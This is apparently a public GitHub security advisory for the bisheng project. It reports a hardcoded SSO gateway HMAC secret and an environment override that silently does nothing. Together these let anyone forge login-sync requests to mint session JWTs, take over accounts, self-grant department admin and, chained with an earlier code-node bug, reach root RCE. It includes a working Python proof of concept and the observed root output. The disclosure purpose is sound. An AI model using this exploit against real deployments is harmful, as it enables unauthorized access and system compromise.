#2415·bisheng

Unauthenticated RCE: shipped config.yaml hardcodes gateway HMAC secret and the documented env override does not work, turning /api/v1/internal/sso/login-sync into a JWT-minting endpoint

Author: NightGlowwwCreated Sep 6, 2026Updated Sep 17, 2026

Summary

The SSO gateway HMAC secret shipped in the bundled docker/bisheng/config/config.yaml is a hardcoded literal (gateway_hmac_secret: "bisheng-local-hmac-20260422"), and the env-var override documented in the code (BS_SSO_SYNC__GATEWAY_HMAC_SECRET, also pre-set in docker/docker-compose.yml) does not actually take effect. As a result, every default deployment accepts forged gateway requests, and POST /api/v1/internal/sso/login-sync becomes an unauthenticated JWT-minting endpoint: anyone who can reach the API obtains a valid, freshly-signed session JWT for an attacker-chosen user identity, without any account or prior credential.

Chained with the already-public run_once code-execution issue (#2189, CVE-2026-82278), this yields full unauthenticated RCE as root on default deployments — and unlike the mitigation implied by #2189 (rotate jwt_secret), this chain does not depend on jwt_secret at all. Deployments that rotated jwt_secret after #2189 remain fully vulnerable.

Verified end-to-end against the official image dataelement/bisheng-backend:v3.0.0-beta1 with the default compose configuration: uid=0(root) command output returned over HTTP.

Details

1. Hardcoded HMAC secret, and an env override that silently does nothing

docker/bisheng/config/config.yaml (volume-mounted by docker/docker-compose.yml) contains a plain literal:

yaml
gateway_hmac_secret: "bisheng-local-hmac-20260422"

The same literal is present in the v2.6.0 and v3.0.0-beta1-fix trees. The compose file also sets BS_SSO_SYNC__GATEWAY_HMAC_SECRET, and the config field description (src/backend/bisheng/core/config/sso_sync.py:19) tells operators to override via that env var — but neither works:

  • Settings is a plain pydantic.BaseModel (core/config/settings.py:760), not BaseSettings, so pydantic never reads env vars. The only env mechanism in the config service is the YAML !env ${VAR} tag constructor (common/services/config_service.py:85-93), and the shipped config.yaml uses a literal string, not !env.
  • Verified in-container: with BS_SSO_SYNC__GATEWAY_HMAC_SECRET set to a different value, a freshly constructed ConfigService() still yields sso_sync.gateway_hmac_secret == '' (defaults) — i.e. the effective secret comes solely from the mounted YAML literal, and an operator who "rotates the env var" changes nothing at runtime.

(When no config.yaml is mounted, the secret defaults to '' and the HMAC endpoints fail closed — so the exploit requires exactly what the official deployment template ships.)

2. The HMAC gate mints real sessions

src/backend/bisheng/sso_sync/domain/services/hmac_auth.py:58 — signature is HMAC-SHA256(secret, "METHOD\nPATH\n" + raw_body), sent in X-Signature. There is no replay protection (no timestamp window on the signature, and ts is only a body field, not authenticated freshness).

POST /api/v1/internal/sso/login-sync (sso_sync/api/endpoints/login_sync.py:24) is mounted unconditionally (api/router.py:85), is exempt from JWT auth (utils/http_middleware.py exempt paths), and calls LoginSyncService.execute, which upserts the user row for any external_user_id and returns a freshly signed JWT (token field) using the real AuthJwt and the real DB token_version (sso_sync/domain/services/login_sync_service.py:231-246).

Additional impact from the same endpoint:

  • Existing-account takeover: the legacy-adoption path (login_sync_service.py:263-295) binds the minted session to an existing user when the attacker knows their external_id (e.g. employee IDs are guessable/enumerable in many orgs).
  • Privilege self-grant: primary_dept_external_id / department_admin_external_ids in the same payload drive OpenFGA department:{id}#admin@user:{uid} grants (login_sync_service.py:180-184, 617+). The sibling endpoints /api/v1/departments/sync and /api/v1/internal/sso/gateway-wecom-org-sync are protected by the same hardcoded secret only.

3. From a minted low-privilege session to root RCE

The minted user (default role) can create their own workflow (POST /api/v1/workflow/create, login + quota only) and then execute the already-documented run_once code-node issue (#2189 / CVE-2026-82278) against their own workflow, which runs unsandboxed Python via bare exec() (workflow/nodes/code/code_parse.py:92,96). The backend container runs as root.

Proof of Concept

Fully unauthenticated, on dataelement/bisheng-backend:v3.0.0-beta1 with default compose config:

python
import hmac, hashlib, json, time, urllib.request

BASE = "http://127.0.0.1:7860"
SECRET = "bisheng-local-hmac-20260422"   # shipped config.yaml:35
PATH = "/api/v1/internal/sso/login-sync"

body = json.dumps({"external_user_id": "poc-user-1", "ts": int(time.time())}).encode()
sig = hmac.new(SECRET.encode(), f"POST\n{PATH}\n".encode() + body, hashlib.sha256).hexdigest()

req = urllib.request.Request(BASE + PATH, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-Signature", sig)
token = json.loads(urllib.request.urlopen(req).read())["data"]["token"]
# -> valid JWT for a freshly created account, no credentials supplied

# Step 2: create own workflow (login + quota only)
# POST /api/v1/workflow/create  Cookie: access_token_cookie=<token>  {"name": "poc"}
# Step 3: run_once a Code node (see #2189) against that workflow id:
#   node_data.data.type = "code", group_params: code = "def main():\n ... subprocess ..."
# Observed response: {"out": "uid=0(root) gid=0(root) groups=0(root)"}

Observed server response for step 3:

json
{"status_code": 200, "data": [[{"key": "code_output", "value": {"out": "uid=0(root) gid=0(root) groups=0(root)"}}]]}

Impact

  • Unauthenticated RCE as root on default deployments (hardcoded HMAC secret → minted session → #2189 code node), independent of jwt_secret rotation.
  • Account takeover of existing users whose external_id is known.
  • Unauthorized privilege self-grant to department admin via the same forged requests (also /api/v1/departments/sync, /api/v1/internal/sso/gateway-wecom-org-sync).
  • Affects the full release line: the hardcoded secret and the login-sync endpoint are present in v2.6.0 through v3.0.0-beta1-fix (14/14 release tags audited).

Disclosure note

Reported publicly following the same route as #2189/#2190 (private security-advisory drafts on this repository have historically received no response, and those issues remain open with no vendor comment as of today). Versions audited: v2.5.0v3.0.0-beta1-fix. Related prior art: #2189 (authenticated run_once RCE), #2190 (unauthenticated SSRF), CVE-2026-82278, CVE-2026-82285.

— dreamfly0908 · GitHub: NightGlowww